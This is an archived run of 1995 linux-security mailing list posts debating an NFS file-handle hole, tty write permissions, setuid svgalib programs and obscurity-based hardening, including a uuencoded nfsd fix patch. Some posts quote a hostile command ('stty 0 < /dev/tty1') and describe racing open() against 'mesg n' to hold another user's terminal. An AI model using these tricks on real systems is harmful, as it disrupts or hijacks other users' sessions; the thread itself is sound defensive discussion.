i'am no nfs expert to > I'll shut up :) The problem is, NFS does not let you change your randomization unless you are absolutely sure no other machine currently has an NFS mount from you. You can't even guarantee this at boot time. So, you must randomize all fh's in the same way, now and forever. One way to put this to work would be to use a single secret key with which you encrypt all file handles. But once you've gone that far, you can also throw in per-mount authentication:) Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Fri Mar 10 10:13:36 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id KAA03669; Fri, 10 Mar 1995 10:11:22 -0500 Received: from dutecai.et.tudelft.nl (dutecai.et.tudelft.nl [130.161.144.190]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id HAA02434; Fri, 10 Mar 1995 07:02:08 -0500 Received: by dutecai.et.tudelft.nl (8.6.10/1.34JP) id NAA03607; Fri, 10 Mar 1995 13:02:07 +0100 Message-Id: <[email protected]> Subject: Re: tty permissions To: [email protected] Date: Fri, 10 Mar 1995 13:02:05 +0100 (MET) In-Reply-To: <[email protected]> from "[email protected]" at Mar 10, 95 08:33:45 am From: [email protected] X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 345 Sender: [email protected] Precedence: list Reply-To: [email protected] > > (I, and most people I know, have had "mesg n" in .profile the past > twenty years or so; giving people write permission to your tty > alows them to log you off ("stty 0 < /dev/tty1"), or do very obscure You correctly indicate that stty operates on its INPUT. Giving people write permission on your tty doesn't affect this. Roger. From [email protected] Fri Mar 10 10:13:40 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id KAA03686; Fri, 10 Mar 1995 10:12:11 -0500 Received: from helios.dibe.unige.it (helios.dibe.unige.it [130.251.51.48]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id GAA02214; Fri, 10 Mar 1995 06:32:25 -0500 Received: (from fritz@localhost) by helios.dibe.unige.it (8.6.9/8.6.9) id NAA02418; Fri, 10 Mar 1995 13:29:23 +0100 Date: Fri, 10 Mar 1995 13:29:22 +0100 From: Fabrizio Giudici Subject: Re: SvgaLib (was Re: Secure setup for file transfert) To: [email protected] In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Thu, 9 Mar 1995, GLAUDE DAVID wrote: > Mr Martin J Hargreaves said: > > Well, is there any way to secure program ussing svgalib. > It seems that to access vga io port you need some priviledge wich is an > increase of security (not anybody should be able to turn you screen upside > down). But because of the lack of security level in Unix (root or not root), > all program for Vga have to be run as root (I always log as root but don't > do as I do) or to be setuid root wich is a potential risk. (see above) > Is there any other solution than setuid root thoses programs (like gs with > the vga console driver). Shouldn't a solution be search ? > > -- > GLAUDE David [email protected] [Glu] > I speak French: "Linux est l'unique Unix de Linus." > I thought a possible solution could be to create a daemon (perhaps named vgad?) that is able to process very-low-level queries like "write a bunch of registers to vga" and so on. Such a daemon could also implement locking mechanism to prevent from simultaneous VGA access more than one program (sometimes I unintentionally got X locked up by mistakenly running a program based on a library of mine, similar to svgalib, while X was running). I think this approach could be better than implementing special devices like /dev/vga or similar, because with a daemon no modifications to the kernel are required (and I think it's a good thing to keep the kernel as "light" as possible). This is my idea. I'm an relatively-experienced programmer, but I've still *lots* of things to learn about UNIX/LINUX programming, so I really don't know if there is some tech problem in my approach. So please don't flame ;) Ciao. .---------------------------------------------------------------------------. | Fabrizio Giudici ([email protected]) | | | WWW-PAGE: < work in progress > | Style distinguishes | | PHONE: +39 10 3532163/3532780/3532781 | excellence between | | Dept. of Biophys. and Elect. Eng. (DIBE) | accomplishment. | | University of Genoa - ITALY - EUROPE - EARTH | | |---------------------------------------------------------------------------| | "For a succesful technology, reality must take precedence over public | | relations, for Nature cannot be fooled." - Richard P. Feynman | `---------------------------------------------------------------------------' All expressed opinions are personal and not of the organization I work for. From [email protected] Fri Mar 10 14:32:54 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA05461; Fri, 10 Mar 1995 14:28:50 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id IAA02918; Fri, 10 Mar 1995 08:27:30 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Fri, 10 Mar 1995 14:20:45 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id OAA01408 for [email protected]; Fri, 10 Mar 1995 14:20:37 +0100 Message-Id: <[email protected]> Subject: Re: Yet another NFS hole To: [email protected] (Olaf Kirch) Date: Fri, 10 Mar 1995 13:33:22 +0100 (MET) In-Reply-To: from "Olaf Kirch" at Mar 10, 95 11:55:48 am From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 785 Sender: [email protected] Precedence: list Reply-To: [email protected] > > Thus spake thou, Alan Cox: > > > > SunOS was changed about 4.1.x to encrypt file handles. It doesn't > > work very much better because you can spoof a host and issue > > open requests easily, but its better than nothing. Do they actually trust the machinename field of the struct auth_unix? ARGH - at least they could disregard that, and use the IP address instead (not perfect, as we all know, but still better). [...] > Mount tracking turns out to be really ugly, BTW, because you have to > track client state. Thomas' idea of limiting the number of mounts a > client can have on the same directory is okay, but you still have to > have a way to expire old mount records after a client crash. I'd recomment expiring the oldest one. Chances are the client crashed, anyway. From [email protected] Fri Mar 10 14:57:31 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA05671; Fri, 10 Mar 1995 14:55:56 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id LAA03981; Fri, 10 Mar 1995 11:02:35 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id RAA04005 for ; Fri, 10 Mar 1995 17:02:22 +0100 Subject: Re: tty permissions To: [email protected] Date: Fri, 10 Mar 1995 16:57:42 +0100 (MEZ) From: Marek Michalkiewicz In-Reply-To: <[email protected]> from "Rik Faith" at Mar 9, 95 04:15:57 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 688 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] > This was done this way in util-linux because it is the standard way of > doing things in the unix world. The trade-off seems to be between having a Hmmm... i17sunA:~$ mesg n i17sunA:~$ ls -lg `tty` crw------- 1 marekm tty 20, 2 Mar 10 16:54 /dev/ttyp2 i17sunA:~$ mesg y i17sunA:~$ ls -lg `tty` crw--w---- 1 marekm tty 20, 2 Mar 10 16:54 /dev/ttyp2 i17sunA:~$ ls -lg /usr/bin/write -rwxr-sr-x 1 root tty 16384 Oct 11 1990 /usr/bin/write i17sunA:~$ uname -a SunOS i17sunA 4.1.1 1 sun4c > I'll look into changing this for the next util-linux release. Thanks! -- Marek Michalkiewicz [email protected] || [email protected] From [email protected] Fri Mar 10 14:58:11 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA05679; Fri, 10 Mar 1995 14:56:45 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA04778; Fri, 10 Mar 1995 12:24:05 -0500 Received: (from panzer@localhost) by dhp.com (8.6.10/8.6.9) id MAA09265; Fri, 10 Mar 1995 12:24:29 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: Secure setup for file transfer Date: 10 Mar 1995 12:24:27 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 14 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Rik Faith ([email protected]) wrote: : implement better social controls and disciplinary actions. I know that if : someone in our academic computing environment tried this juvenile tty crap, : they'd hear from several sysadmins, a few professors, and a bunch of : students: this type of antisocial behavior would simply not be tolerated. This whole statement is based on the fact that you could figure out who had done it. This is not always possible, and preventing it from being able to happen in the first place requires very little activity on the part of the sysadmin. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Fri Mar 10 14:58:48 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA05687; Fri, 10 Mar 1995 14:57:21 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id NAA05017; Fri, 10 Mar 1995 13:01:54 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: tty permissions To: [email protected] Date: Fri, 10 Mar 1995 18:03:52 +0000 (GMT) In-Reply-To: <[email protected]> from "Panzer Boy" at Mar 9, 95 02:51:09 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 399 Sender: [email protected] Precedence: list Reply-To: [email protected] > Simple solution, put in your global login script "mesg n". No people just stick open() in a tight loop and beat the mesg n then hold the file descriptor. There used to be an even worse hole where vhangup() was used wrongly and on old BSD you could beat the login to being controlling tty then stuff characters into a users input stream. You have to set the permissions at the beginning. Alan From [email protected] Fri Mar 10 15:37:15 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA06020; Fri, 10 Mar 1995 15:33:20 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA05932; Fri, 10 Mar 1995 15:21:22 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Fri, 10 Mar 1995 21:21:10 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id VAA01980 for [email protected]; Fri, 10 Mar 1995 21:21:02 +0100 Message-Id: <[email protected]> Subject: Re: Safe NFS outline To: [email protected] Date: Fri, 10 Mar 1995 21:21:02 +0100 (MET) In-Reply-To: from "Alan Cox" at Mar 8, 95 05:47:00 pm From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 690 Sender: [email protected] Precedence: list Reply-To: [email protected] Alan Cox wrote: > and in the USA packet authentication (like this) is subject to a totally > bogus Novell software patent, so you'd have to do a no US import license ( > the GPL permits this in these cases). Well, at least keeping track of who's mounted what ought to be doable without stamping on any "�$"�$%$ US Software patents; this will only be somewhat vulnerable to a legitimate client trying to overstep its authority. I have to admit to not knowing anything about the firewalling patches, but could they be used to restrict receiving packets to port 2049 to a (somewhat more trusted) subdomain? This might be a good start for people who are stuck with the current situation... From [email protected] Fri Mar 10 15:51:50 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA06184; Fri, 10 Mar 1995 15:51:34 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA04865; Fri, 10 Mar 1995 12:30:58 -0500 Received: (from panzer@localhost) by dhp.com (8.6.10/8.6.9) id MAA09344; Fri, 10 Mar 1995 12:31:25 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: tty permissions Date: 10 Mar 1995 12:31:23 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 24 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Thomas Briggs ([email protected]) wrote: : Also, there are some utils and directories that I think ought to be : protected by some better security, such as /sbin and /usr/sbin, I would : not even like users seeing what was in these dirs... I've got them : chmod'ed out of the user space as well as out of root's profile, etc, : etc. At least this way, if a user does happen to get to be root or : uid=0, they won't have a clear picture as to whats in those directories. This is starting to follow the security through obscurity thing a bit. It's nice to prevent people from running fdisk on your system, or dip. But if anyone can compile the damn thing, and upload a static binary to your system, you're not getting much security from it. (Some, but not much) About the devices, these need to be looked at, and also the /proc tree needs to be clean. I just recently noticed that /proc/net/ip_* are all 644, which is ok, though having unprivledged users reading your ip_accounting information may not be what you had in mind when you started using it... :) (Is there an easy way to change these defaults privs? A chmod changes it for only a sort period (next update I assume).) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Fri Mar 10 15:52:15 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA06201; Fri, 10 Mar 1995 15:52:05 -0500 Received: from snfep1.if.usp.br (snfep1.if.usp.br [143.107.249.132]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id LAA04066; Fri, 10 Mar 1995 11:11:39 -0500 Received: (carlos@localhost) by snfep1.if.usp.br (8.6.10/8.6.4) id NAA01521; Fri, 10 Mar 1995 13:13:32 -0300 Date: Fri, 10 Mar 1995 13:13:32 -0300 From: Carlos Carvalho Message-Id: <[email protected]> To: [email protected] Subject: Re: tty permissions In-Reply-To: <[email protected]> References: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] Marek Michalkiewicz ([email protected]) wrote on 9 March 1995 15:13: >I see one security problem with the standard util-linux login. When >the user logs in, the permissions of this user's tty are set to 0622. >This allows anyone to write anything, including some dangerous control >codes [deleted] >But I think it would be better if the permissions were set to 0620, group >"tty". Programs like write should be setgid tty and filter out control >characters (write in util-linux already does this). Agreed. Talk then must also be like this. On the other hand, one could argue that the user can always change the permissions of /dev/tty... I have a related question. Yesterday I was at the console, and someone else "telneted" from a dos machine. He mistakenly called startx, and the X server did start, changing the CONSOLE, where I was, from my vc to the usual X vc (7, here). How can this be avoided? Do we have to remove the permission from all the tty's? Carlos From [email protected] Fri Mar 10 16:10:03 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id QAA06337; Fri, 10 Mar 1995 16:09:50 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id QAA06333; Fri, 10 Mar 1995 16:09:47 -0500 Date: Fri, 10 Mar 1995 16:09:47 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: tty permissions Newsgroups: mail.linux-security In-Reply-To: Your message of , March 10, 1995 12:31:23 -0500 References: <[email protected]> X-Spook: Bosnia Treasury NATO X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] "PB" == Panzer Boy writes: PB> This is starting to follow the security through obscurity thing a bit. PB> It's nice to prevent people from running fdisk on your system, or dip. PB> But if anyone can compile the damn thing, and upload a static binary to PB> your system, you're not getting much security from it. (Some, but not much) Of course, general users that have downloaded something like 'dip' or 'fdisk' can't do much with it if the permissions on the devices won't permit it, nor can they set up SLIP unless they're root. ('dip' will only be a crude dial-in terminal program to them in that case...) "Hiding" /sbin and /usr/sbin seems to me like nothing more than making the doormat half an inch higher hoping to deter bandits from entering the house... --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Fri Mar 10 20:25:40 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA08983; Fri, 10 Mar 1995 20:24:31 -0500 Received: from mozart.stat.wisc.edu (mozart.stat.wisc.edu [128.105.5.24]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id UAA08892; Fri, 10 Mar 1995 20:13:09 -0500 Received: by mozart.stat.wisc.edu (Smail3.1.28.1 #1) id m0rnFjt-0000kNC; Fri, 10 Mar 95 19:13 CST Message-Id: Date: Fri, 10 Mar 95 19:13 CST To: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: tty permissions From: [email protected] (Kevin Buhr) Sender: [email protected] Precedence: list Reply-To: [email protected] | You correctly indicate that stty operates on its INPUT. | | Giving people write permission on your tty doesn't affect this. "stty" merely makes IOCTL calls on a file descriptor which happens to be its standard input. You can easily roll your own program to make these same calls on a file descriptor opened for output. (In fact, you could simply run "stty" with its standard input directed to a handle opened for write access, though presumably you'd have to write a program to do that anyway, so...) Anyway, the important thing is whether or not the kernel cares about read or write permissions on handles passed in "ioctl" calls. In fact, it doesn't, so having your "tty" world-readable does open you up to all sorts of attacks. Of course, it's also true that setting the baud rate of a Linux console won't work and setting the baud rate of a Linux "pty" to 0 doesn't have any effect, at least in kernel version 1.2.0. So, this particular attack isn't an issue. Kevin linux-security/1995/linux-security.950311100664 1767 1767 63132 5730461046 17256 0ustar majdommajdomFrom [email protected] Sat Mar 11 06:02:14 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA11833; Sat, 11 Mar 1995 05:56:58 -0500 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id VAA09689; Fri, 10 Mar 1995 21:26:59 -0500 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.5/8.6.5) with ESMTP id VAA26063 for ; Fri, 10 Mar 1995 21:26:59 -0500 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id VAA16558 for [email protected]; Fri, 10 Mar 1995 21:26:58 -0500 Date: Fri, 10 Mar 1995 21:26:58 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: tty permissions Sender: [email protected] Precedence: list Reply-To: [email protected] Marek Michalkiewicz ([email protected]) wrote on 9 March 1995 15:13: > >But I think it would be better if the permissions were set to 0620, group > >"tty". Programs like write should be setgid tty and filter out control > >characters (write in util-linux already does this). > Agreed. Talk then must also be like this. On the other hand, one could > argue that the user can always change the permissions of /dev/tty... The semantics of /dev/tty don't always work for what one wants to do through one's login terminal. I've run into problems with that in the past. If I try hard enough, I'll be able to remember what. [;-)] If a program needs to affect the user's login terminal, it needs to have some permissions on it. I've had problems when I've logged in as "joe" and su'ed to (e.g.) "bin": but "bin" has no permissions on "joe"'s login terminal. In general, it is best to see if you can make a program setgid-to-some group, than making everything setuid-root [horrors!]. Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Sat Mar 11 11:47:39 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA12422; Sat, 11 Mar 1995 11:46:33 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id IAA12193; Sat, 11 Mar 1995 08:35:03 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rnRKH-0005AxC; Sat, 11 Mar 95 14:35 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rnRje-000Kj0C; Sat, 11 Mar 95 15:01 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: NFS patch To: [email protected] Date: Sat, 11 Mar 1995 15:01:37 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 8220 Sender: [email protected] Precedence: list Reply-To: [email protected] -----BEGIN PGP SIGNED MESSAGE----- Hello all, Here's a patch to nfsd that should fix the hole I've reported earlier. It's against a clean nfs-server-2.0 source. Could you please check if the patch breaks anything for you? It works for me, but I wouldn't want to release it publicly without some sort of double-check. It does the following things: * authenticate fh's on every request. Support for it was there, but didn't work. * Use setfsuid/setfsgid for setting owner/group on file access rather than seteuid. As these functions are not yet in libc-4.6.27, there's a small assembler file that implements them. * Implement root_squash and no_root_squash mount options. I'll upload a full source to linux.nrao.edu later this day and announce it on linux-alert. Alongside with it, I'll upload the source to the sample program that demonstrates the bug. Cheers, Olaf - ------------------------- SNIP ----------------------------------- table `!"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ begin 644 nfsd-patch-2.1.gz M'XL(`!>H82\``^4;>W_;MO%O]E,@:1Z23:FB'K8DQUDVMK8$TS@?9V3@IL1JDT:Kx MW^CV6YO$ZO5:W]5JM25DC:&3DF,G)I9%&E;?ZO5;7<3KX'CY/WS\C;:YV2#\w ME9"CP]?#L]VA86P3)'89,OB*9LFNH'*X?DA#",`PW4<5V:<'2616D8)(APu M.^$`'.$11[B%D;UL*J:@'^`O/`!;.#+UZB[0_\O>V9O#H_TA+(@WUV\1PI[&t M#!ZA_V#_9+Y_+'[M6R]6\["3:U=0%GAC_2B@@,S;O3/.M.0N2>E$0'CPXV3`s MJ3'Q\9^0C49!-*J/N?B0[19H4*WV/\=VC9#0%%8P"KQZ\D<519%%;#;-S:ZRr MB..=D].=`SXK>CME<9K4.V(N7KTK:'=),F8W8LY=(05TU534FAFRp M@'%VV$$4I.K9#6'Z#!!.W@SW;(ZU+=;'B!DB*]-I5/T-J5Qm M1((H-0P#V#4)$C=C6;*UV!=36RC=O1XMJL`)@]^HM_7=^CQ`&CLNM9,I8WX.l M65"+F$<-8TV\V*AE.1!03M#8!$AXU'>R,+5E2PX&]<*>.K$S`3)N&-`HA>X5k MA26TRBUBLNPJ$YOL-M[$`3EAUX1T2*/=M[K]=FNI[!1>7H"M?K/9;UA+!+C9j M-:WNAG+!:$2$X.XW0:VOX)-)%(L$#VHOA0Y/&`%5"/I.#6f M!`>_A$TF7^EJS"I4J&[/M'J;2J$0^(Y4\>`/H#]B^??Y\DFHCER]5)UOO/H_D*:4LZ5(29J-d MMMEL]&8;!V]H;LZ;W$J3T-"/I\F=.V9.Y(1W29`0B`-&%.)2[[&$9_%*!P2,Y!5\C%SDK'<*>I2B#<@0)(PF`@P,Z*>B?AD#;MA/K8.YF&=(*\1FH8D'@0OV>P<:`"U.MU$CJPQ=0%\@_X@\*MQ!^3=%I[a M&7^TW1AC''?X&E/R,N@+$ZSM,6\T3A`QE#,@HWz MA"P*;G'_FB1DC3\C4;YP`W?/8$LNW]"=X*TJ)02J)#;y MVEG@57FG<;\#!CD9O![L_6Q?'.Z5DQB5D1CE21PH$BBZ2@`=C2T2D!=D`2FDx M$;2OKRLVE0V9_!J\E\,6C(N]!6-_$IH._R@=`Z-%I?NT0-OO-)24D:[,#L4DCt M%W+S!AVL@"O;HSYX)HPK[EA&QLXUQ;R(@N75B=A8OL\B8"-YN_/G?7NX?[X/s M=HB;U7HYMI^,%/KZ(OJ;(1B"<"5+\+,E^!<"?\GL1S'+IDG)_`_.!A>G0US!r MRK+.8EHL$N@HES-TWI=RL]S.>$J\^!OS!VCW4N_^K4?GO_''YW:K^\?_YWS(X0Q,7]$I)J/ITG_T`$&0'Io MR<]BH&\P>:U46CO_]NSG;.?*[4P2L)J84?"W"N:RKZS_=.CG=U]^\W%R>ZPm MHDJDNFPJ"J.R+"K+I;***6N855`$-88@\E6J(*?%:R]'A\-S\0I>9;ASL"]>l M!A?GIQ?G%56X%P4PP0RII?\KS+AO%U_"GA4T7Q?&[@4MLYXBK9_U&N<9!7?Ok M$MCO&NU^I]MO-4MU/H>V4-_H]=M+"E1M,Y=E@&/2;@EB]AV(0%B<](T]!DF#j M1WZLD]?@!FALDA>7_.%5DDTA3&?QZ"5',8RS`-*$8>AX5Q1BC11?$[AC`V540OYK`W(#ZS67=HX*X'.%\C$D.\],;!S:SB7-Wg M20G\S1(8&+V8$]V1:19/64(Q+KN&",F3J)B4.)?L&G.6Z5TRVARGAF=1T"IFC5^Q2NCF7\KTG=N]9@&Q4*J"#-B3J&YU.JUW%e M7.L<d MZJ8!K.-P+^'XC\A(XXPD#C_OD$&"?0Z95Y**6/[DX.QT^'YKCB1?*T_=G/@.c MB25R7AB6EVH_H^.N;<,!//IL!@/+O6'^11G1;8&:ZHOAI2\0`b M2>J`@A&972ISMF$@&$?XM5_?\VC^$3'X*_95&B;^%P6A^#\+PZHY#V%!OV5Ba M91Z',+$V[X]-6:R_#VSE@1-\3:-:2(>.,60L:MLz [email protected],7!M$58L@)JZ9R!`3&7TX='Y9/]B8.4NHZ$-D\P`0.R(GRIV)HO4#(y MAQT)+AZ+X6%5G/B,'S&=@,=9#BWV20F.C\O!D5^"UX6,RX,F=Q,-+9]77RC?x MQ%=>YZ006$D1.I4@X5'+L@2G82)U/\DIBFC@A:\%V[)/SP85T;V*KP5UAR$]YI=<-%//!;.^?G9P6Hv M#YDQ8@]+L(N,6LSS;#`X+YGG$@M'S*/!X-W%:0GN4G/GX^[O[!T=GKQ;@E]@u M_89"?6"%>4_`<7XZ.SS?W]W9?;O_$&?O^0:-7H*YS$_P?0;F6XI<[C3$2H\'t M?WX(M<"#"-R3G>.'="U<_WX^7H*^Q-$@\O&[O<,RQ2]U.GRIs MQ\6(JS@@J4]E!)9X([Y>,+-SL0=X53X((JP$\q M4`9;""ZS%+J9SPOVA+?SI$C$JX&I\%]>)Q;'+S86/K%8p MZ8+4^?$@'A_F&[=$,8)`o M*^`-HV2J@&^]V)[1T.3T,25@0M9J>]1E'I6X94)H`L];/7UUS1%1#$7T?^%B(m M1)NQ!R='/TN6G(H#/>XR:^G=E$).]3&C28IES1N8+R1L&B=_V"<&0G.T613>l MH8"XIKLO$BW`T\QBDO9#.]2%Yv MN=Y^"KK-7_G3-`FVI0^%3MDC')&:S.]$S*]*_B:ZQ84YX=#5):=EP-(@BEC3u M[FR8[8VV]F#TUL8J`29:#C_,X$O'H]+*,S>+\4&X^)LQFD^EXH]=@/7'MBC`t M5<:UE[`D\-+@E_CE/KG7)I(GF`D_]ED6>>3YT^2Y27Q/K1](`3(>U/XI]]PGs MCU]D$::KWDOEH7FO[TF7D&?WTP0(76:^7Y4U#UXX>IVEY`8S)_!78R<9VT@Yr MX:E?Q.0>"@/\B0S9A*9C3&51]5)GMG%R5R?W*UBCIB*G/:[G6MZ>VD?[)YP%q M#94VMCMX,C6[5/G-&#W/#5+,:N20C,F^A.M_&,X6JO2F9;8W-W(GS9MML]UMp MS:+F.1X!1_T@\M`V0]B7/,)"CZ`7"OG=T(3%*?.!:>H6]F5,G2L5AZK[DD6Eo M"MB,-3_G;CKJ[P,JNNYAYD&WI4#ES4=IX=B4N^$H0EO0B4=<*<84W&P$<7!5n MR7'%/"MNG4+?B$*>]V07FS1R$=CB:H,HU\DQ%m MV7/-JVO.B?GR3S]XM0RB35[UMH>'O^"-CN/#MM`BPGKEUY!S+?VPU12+J-#;,CI7[k M\J=CM"&'U,J.5VBT=*29E=Wj MA:L)G9&^NJJ\CSSN7B&6DQ7&A2!,M!;%5[*;7=BUYIW0NH9.`)ISTh M!/RUHB[U_;&(P]77@\K9T=L@K32JJ_/[WE=QHK64W^.%"+K=[;<[R_D]7KQFg MUP&L`M"\P]LDD5M9;S9#&[.S_;f M/SL;G,GD;AWS]L+[M',C(6%5(X%QQ+T2S)P,.R7DSS8`G-T0HT^>7>e M?8@+0$D$3[DG6D'(N4^;%X63_^JY0-RY;GX__D?(+`@78*,!?T&`FXTBF>?Qd MY@6/R=.2K^GR][+-EI3Y.JFGP#=D1WT4LLN0V$H2]]I&H@V;G3`81:2-KQJ^c MSVUK"LXZ-)[22W&L!)LNOD&4JYLTQ.T,XDG%:G6K`./D&KL5Q,%6"8H?ACQIb MW':%%:>0OAF(,4/[,*+&!=HH?XOH*#3F27)PFR?0NI$83VJ6IL'1^\:431?Ga MB),Q<2EB%1)@NB4R'?#A9;P9?3UO>O\:WAQ\'6\.OH(W*]B2^E+[WAZE.XKLz M2',[6AOQ6H=!SSK!R-H3?$[>7WE&6CO.1<(Z2"+]N\O@B"O#="?G7;$,^y :E-X_",STL:Q9"\/[$A(6D/@G!\]N!'5$``"1x `w end -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL2GsaOFnVHXv40etAQErywQA3SDyJljchTVUJponW88B6hMUMD004ObK A0FHrsIk7uI1zeP+TX1OFF03Bn6KGatlTh/mRo+Pvbs+8PX9Md3mGKkg5WH9peOB 7UEBE8x6gfaFtNHOb6O2TTp47Fw0OvjO2wCnn+TKl4D8xNpchNxGSEwTSH/eCK8E 0Tfxev081XY= =oims -----END PGP SIGNATURE----- -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Sat Mar 11 11:47:40 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA12428; Sat, 11 Mar 1995 11:46:40 -0500 Received: from charon.cwi.nl (charon.cwi.nl [192.16.184.142]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id KAA12330; Sat, 11 Mar 1995 10:16:47 -0500 Received: from zeus.cwi.nl by charon.cwi.nl with SMTP id ; Sat, 11 Mar 1995 16:00:28 +0100 Received: by zeus.cwi.nl id AA15657 (5.65b/3.8/CWI-Amsterdam); Sat, 11 Mar 1995 16:00:28 +0100 Date: Sat, 11 Mar 1995 16:00:28 +0100 From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: tty permissions Sender: [email protected] Precedence: list Reply-To: [email protected] : > : > (I, and most people I know, have had "mesg n" in .profile the past : > twenty years or so; giving people write permission to your tty : > allows them to log you off ("stty 0 < /dev/tty1"), or do very obscure : You correctly indicate that stty operates on its INPUT. : Giving people write permission on your tty doesn't affect this. Unfortunately it does. The ioctls used by stty (via the library call tcsetattr) just operate on a file descriptor, and don't care whether it is open for 